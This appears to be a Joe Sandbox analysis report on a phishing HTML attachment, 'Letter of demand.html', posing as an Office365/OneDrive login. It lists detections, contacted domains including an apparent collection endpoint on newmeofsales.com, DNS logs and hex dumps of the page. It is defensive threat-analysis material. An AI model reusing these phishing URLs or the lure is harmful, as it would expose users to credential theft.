Source	Detection	Scanner	Label	Link
https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c	100%	Avira URL Cloud	phishing

Source	Detection	Scanner	Label
file:///C:/Users/user/Downloads/Letter%20of%20demand.html	0%	Avira URL Cloud	safe
https://newmeofsales.com/client3.php	0%	Avira URL Cloud	safe
https://newmeofsales.com/register.jpg	0%	Avira URL Cloud	safe
file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	0%	Avira URL Cloud	safe
https://newmeofsales.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.31	true	false	high
s-part-0044.t-0009.t-msedge.net	13.107.246.72	true	false	high
newmeofsales.com	23.106.55.197	true	false	unknown
b-0004.b-msedge.net	13.107.6.156	true	false	high
www.google.com	142.251.40.132	true	false	high
res2.showcaseworkshop.com	3.168.73.74	true	false	unknown
a1894.dscb.akamai.net	23.55.243.74	true	false	high
www.tm.a.prd.aadg.trafficmanager.net	20.190.135.4	true	false	high
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js	false		high
https://newmeofsales.com/client3.php	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US	false		high
file:///C:/Users/user/Downloads/Letter%20of%20demand.html	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	false		high
https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c	true		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false		high
https://newmeofsales.com/register.jpg	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_72a1051aa2aa2943d8c1.js	false		high
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	false		high
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_r1sg5sxlkljjoa22hvk04g2.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	false		high
file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	true	Avira URL Cloud: safe	unknown
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_GjP1RdcVSKf6ASC7mgkR1g2.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	false		high
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	false		high
https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	false		high
https://login.microsoftonline.com/favicon.ico	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_c4928fb5cff147a39780.js	false		high
https://newmeofsales.com/others.htm	false		unknown
https://newmeofsales.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false		high
https://www.office.com/?auth=2&home=1	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://knockoutjs.com/	chromecache_178.2.dr, chromecache_197.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_182.2.dr, chromecache_178.2.dr, chromecache_197.2.dr, chromecache_195.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_178.2.dr, chromecache_197.2.dr	false	high
http://feross.org	chromecache_182.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.6.156	b-0004.b-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.190.157.0	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.40.132	www.google.com	United States	15169	GOOGLEUS	false
23.209.72.31	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
23.209.72.9	unknown	United States	20940	AKAMAI-ASN1EU	false
23.106.55.197	newmeofsales.com	United States	7203	LEASEWEB-USA-SFO-12US	false
3.168.73.74	res2.showcaseworkshop.com	United States	16509	AMAZON-02US	false
20.190.135.4	www.tm.a.prd.aadg.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.190.152.22	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.243.74	a1894.dscb.akamai.net	United States	20940	AKAMAI-ASN1EU	false
142.251.41.4	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1653549
Start date and time:	2025-04-01 12:09:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D"Letter%20of%20demand.html"&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@49/44@34/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.80.110, 142.250.80.99, 142.251.40.110, 172.253.62.84, 142.251.35.174, 142.251.40.238, 142.250.81.238, 23.203.176.221, 142.250.80.14, 142.250.65.206, 142.250.176.206, 142.250.65.174, 142.250.64.106, 142.250.80.10, 142.250.65.170, 142.250.65.202, 172.217.165.138, 142.251.41.10, 142.251.40.106, 142.251.40.138, 142.251.35.170, 142.250.65.234, 142.251.32.106, 142.251.40.170, 142.250.81.234, 142.250.72.106, 142.250.64.74, 142.250.80.42, 142.250.64.99, 142.251.40.195, 142.250.65.227, 172.253.122.84, 142.250.80.46, 142.250.65.238, 142.251.32.110, 52.168.117.169, 142.251.40.206, 142.251.40.174, 142.250.81.227, 40.126.24.82, 40.126.24.146, 20.190.152.21, 184.31.69.3, 20.12.23.50, 40.126.24.83
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, onedscolprdeus10.eastus.cloudapp.azure.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://res2.showcaseworkshop.com/UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (14426), with CRLF line terminators
Category:	dropped
Size (bytes):	16909
Entropy (8bit):	6.093587779354338
Encrypted:	false
SSDEEP:	384:bdiRigK6zw/yr8i6SLuWF4Fe4nD4zblPtvkSWdEih:AYgKH6r8iryWyFbnD4zDoEq
MD5:	F1BDA52FF3E61674AE637EC2BD791D88
SHA1:	CE42C07AD684A036D9F76234812B3124818EB7FC
SHA-256:	AFAAC0F243497C393683A2CD554476A65854DF7F3047E13C0FF99407122159AB
SHA-512:	92C3A73C152E60CEC140284C2B56019FCCC8E632ED5B3E63DFA8BD4969805B177DA389A88B9DE608E0A50A32022B38B473765A9C3411D3C2E11E646414274E19
Malicious:	false
Reputation:	low
Preview:	..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<script type="text/javascript">function showDiv() { document.getElementById('welcomeDiv').style.display = "block"; document.getElementById('hide_this').style.display = "none";}</script>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title>Office365 Onedrive</title>..<style type="text/css"> body {.margin-left: 0px;.margin-top: 0px;.margin-right: 0px;.margin-bottom: 0px;.background-color: #eee;}body,td,th {.font-family: Arial, Helvetica, sans-serif;.font-size: 16px;.color: #555;}a:link {.text-decorAation: none;}a:visited {.text-decoration: none;}a:hover {.text-decoration: none;}a:active {.text-decoration: none;}.form-control { display: block; width: 100%; height: 26px; padding: 6px 12px; font-size: 14px; line-height: 1.42857143; color: #555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1p

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 1, 2025 12:10:49.101358891 CEST	53	49721	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:49.159315109 CEST	53	60445	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:49.843590975 CEST	53	51542	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:50.043571949 CEST	53	55838	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:53.131515980 CEST	51874	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:10:53.131675005 CEST	56692	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:10:53.229240894 CEST	53	56692	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:53.229815960 CEST	53	51874	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:54.907533884 CEST	62455	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:10:54.909157991 CEST	52595	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:10:55.013896942 CEST	53	52595	1.1.1.1	192.168.2.4
Apr 1, 2025 12:10:55.102472067 CEST	53	62455	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:06.982662916 CEST	53	61532	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:24.675565004 CEST	59393	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:24.675836086 CEST	52133	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:24.793715954 CEST	53	59393	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:24.793970108 CEST	53	52133	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:26.014111996 CEST	53	55120	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:29.685019970 CEST	57879	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:29.685286045 CEST	52114	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:29.783893108 CEST	53	57879	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:29.801399946 CEST	53	52114	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:29.827397108 CEST	60672	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:29.827727079 CEST	63836	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:29.945210934 CEST	53	63836	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:29.948327065 CEST	53	60672	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:30.290596962 CEST	64994	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:30.290664911 CEST	53478	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:30.389503002 CEST	53	64994	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:30.392117023 CEST	53	53478	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:31.469542980 CEST	58123	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:31.469866037 CEST	54747	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:31.568619967 CEST	53	54747	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:31.568881035 CEST	53	58123	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:32.929649115 CEST	53875	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:32.930015087 CEST	50926	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:33.027755976 CEST	53	53875	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:33.028291941 CEST	53	50926	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:35.041142941 CEST	61722	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:35.041142941 CEST	60058	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:35.138118029 CEST	53	61722	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:35.138688087 CEST	53	60058	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:35.560370922 CEST	53	62731	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:47.123055935 CEST	62213	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:47.123186111 CEST	51486	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:11:47.223201990 CEST	53	51486	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:47.224553108 CEST	53	62213	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:48.551007986 CEST	53	59987	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:48.718887091 CEST	53	62820	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:50.719095945 CEST	53	56491	1.1.1.1	192.168.2.4
Apr 1, 2025 12:11:58.792196035 CEST	138	138	192.168.2.4	192.168.2.255
Apr 1, 2025 12:12:07.842302084 CEST	53	63705	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:07.850522041 CEST	53	63311	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:08.578218937 CEST	53	62856	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:12.053634882 CEST	60671	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:12.053841114 CEST	62824	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:12.152455091 CEST	53	60671	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:12.153284073 CEST	53	62824	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:22.472955942 CEST	59640	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:22.473182917 CEST	54277	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:22.572174072 CEST	53	59640	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:22.572969913 CEST	53	54277	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:23.380259037 CEST	55443	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:23.380491018 CEST	61555	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:23.478045940 CEST	53	61555	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:23.478080988 CEST	53	55443	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:25.624778032 CEST	53	49157	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:44.465425968 CEST	53	61060	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:45.548577070 CEST	62608	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:45.548732996 CEST	63481	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:45.664959908 CEST	53	62608	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:45.665278912 CEST	53	63481	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:48.235444069 CEST	50749	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:48.235682011 CEST	62724	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:48.340764999 CEST	55121	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:48.341029882 CEST	49398	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:12:48.366194010 CEST	53	50749	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:48.369049072 CEST	53	62724	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:48.457396984 CEST	53	55121	1.1.1.1	192.168.2.4
Apr 1, 2025 12:12:48.457422018 CEST	53	49398	1.1.1.1	192.168.2.4
Apr 1, 2025 12:13:01.773438931 CEST	58575	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:13:01.774312019 CEST	56904	53	192.168.2.4	1.1.1.1
Apr 1, 2025 12:13:01.872267008 CEST	53	58575	1.1.1.1	192.168.2.4
Apr 1, 2025 12:13:01.872735023 CEST	53	56904	1.1.1.1	192.168.2.4
Apr 1, 2025 12:13:06.894356966 CEST	53	58632	1.1.1.1	192.168.2.4
Apr 1, 2025 12:13:07.324460983 CEST	53	60037	1.1.1.1	192.168.2.4
Apr 1, 2025 12:13:10.464410067 CEST	53	55180	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:10:55 UTC	987	OUT	GET /UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c HTTP/1.1 Host: res2.showcaseworkshop.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:10:55 UTC	745	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 229928 Connection: close x-amz-id-2: VVD89wnUzRDDzlk7CIp8QYDSaCrBLu0Mi5gCqv0JItGEwFjU4Qc9A9jL6Z/wBTIYYv0gptptRhE= x-amz-request-id: XKABX6RF9V6CX35S Date: Tue, 01 Apr 2025 10:10:56 GMT Last-Modified: Sun, 30 Mar 2025 19:09:41 GMT ETag: "b3e0f4458081e85eea67fece0f626302" x-amz-server-side-encryption: AES256 Cache-Control: max-age=7776000 Content-Disposition: attachment;filename="Letter%20of%20demand.html" Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 038e573b31ba7cbc11f601ef11abb8f6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P9 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 0Lkobj3bnLbLWg8flb-6QzKazU0WfAnG153CK-tu9nI_A-AKP3-I7A==
2025-04-01 10:10:55 UTC	8949	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 44 69 76 28 29 20 7b 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 77 65 6c 63 6f 6d 65 44 69 76 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 62 6c 6f 63 6b 22 3b 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 68 69 64 65 5f 74 68 69 73 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script type="text/javascript">function showDiv() { document.getElementById('welcomeDiv').style.display = "block"; document.getElementById('hide_this').style.display = "none";}</script><meta htt
2025-04-01 10:10:55 UTC	7960	IN	Data Raw: 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 3d 22 20 22 20 2f 3e 20 20 20 20 3c 2f 6c 61 62 65 6c 3e 3c 2f 74 64 3e 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 35 25 22 20 63 6f 6c 73 70 61 6e 3d 22 32 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 3e 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 34 30 25 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 69 67 6e 3d 22 72 69 67 68 74 22 3e 20 20 20 20 20 20 3c 74 72 3e 20 20 20 20 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 35 25 22 20 68 65 69 67 68 74 3d 22 32 32 22 3e 26 6e 62 73 70 3b 3c 2f 74 64 3e 20 20 3c 2f 74 72 3e 20 20 20 20 3c 2f 74 61 62 6c 65 3e 3c 2f 74 64 3e 20 20 3c 2f 74 72 3e 20 20 3c 74 72 3e 20 20 20 20 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 22 35 22 3e 3c 74 61 62 6c 65 20 73 Data Ascii: ="button" value=" " /> </label></td> <td width="15%" colspan="2" bgcolor="#FFFFFF"><table width="40%" border="0" align="right"> <tr> <td width="15%" height="22"> </td> </tr> </table></td> </tr> <tr> <td colspan="5"><table s
2025-04-01 10:10:55 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 4a 5a 47 56 7a 59 77 41 41 41 50 41 41 41 41 41 6b 63 6c 68 5a 57 67 41 41 41 52 51 41 41 41 41 55 5a 31 68 5a 57 67 41 41 41 53 67 41 41 41 41 55 59 6c 68 5a 57 67 41 41 41 54 77 41 41 41 41 55 64 33 52 77 64 41 41 41 41 56 41 41 41 41 41 55 63 6c 52 53 51 77 41 41 41 57 51 41 41 41 41 6f 5a 31 52 53 51 77 41 41 41 57 51 41 41 41 41 6f 59 6c 52 53 51 77 41 41 41 57 51 41 41 41 41 6f 59 33 42 79 64 41 41 41 41 59 77 41 41 41 41 38 62 57 78 31 59 77 41 41 41 41 41 41 41 41 41 42 41 41 41 41 44 47 56 75 56 56 4d 41 41 41 41 49 41 41 41 41 48 41 42 7a 41 46 49 41 52 77 42 43 57 46 6c 61 49 41 41 41 41 41 41 41 41 47 2b 69 41 41 41 34 39 51 41 41 41 35 42 59 57 56 6f 67 41 41 41 41 41 41 41 41 59 70 